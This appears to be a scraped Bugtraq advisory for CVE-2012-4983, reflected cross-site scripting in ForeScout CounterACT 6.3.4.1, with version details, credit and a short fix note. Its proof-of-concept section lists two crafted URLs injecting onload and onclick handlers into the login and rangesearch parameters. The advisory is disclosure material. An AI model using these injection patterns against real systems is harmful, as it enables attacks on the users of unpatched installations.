ForeScout CounterACT Multiple Cross Site Scripting Vulnerabilities
BID:56688
Info
ForeScout CounterACT Multiple Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 56688 |
| Class: | Input Validation Error |
| CVE: |
CVE-2012-4983 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 26 2012 12:00AM |
| Updated: | Nov 26 2012 12:00AM |
| Credit: | Joseph Sheridan from ReactionIS |
| Vulnerable: |
ForeScout Technologies ForeScout CounterACT 6.3.4.1 |
| Not Vulnerable: |
ForeScout Technologies ForeScout CounterACT 7.0 |
Discussion
Exploit / POC
ForeScout CounterACT Multiple Cross Site Scripting Vulnerabilities
Attackers can exploit these issues by enticing an unsuspecting victim to follow a malicious URI.
http://www.example.com/assets/login?a=asdf" onload="alert(123)">
http://www.example.com/assets/rangesearch?fromIndex=0&query=asdf" onclick="alert(123)"&main_selection=all
Attackers can exploit these issues by enticing an unsuspecting victim to follow a malicious URI.
http://www.example.com/assets/login?a=asdf" onload="alert(123)">
http://www.example.com/assets/rangesearch?fromIndex=0&query=asdf" onclick="alert(123)"&main_selection=all
Solution / Fix
ForeScout CounterACT Multiple Cross Site Scripting Vulnerabilities
Solution:
Reportedly, these issues are fixed, however Symantec has not confirmed this. Please contact the vendor for more information.
Solution:
Reportedly, these issues are fixed, however Symantec has not confirmed this. Please contact the vendor for more information.
References
ForeScout CounterACT Multiple Cross Site Scripting Vulnerabilities
References:
References:
- ForeScout CounterACT Homepage (Forescout)
- Forescout NAC multiple vulnerabilities (Joseph Sheridan)
- CVE-2012-4983: Forescout NAC 6.3.4.1 Cross-Site Scripting Vulnerability (Joseph Sheridan)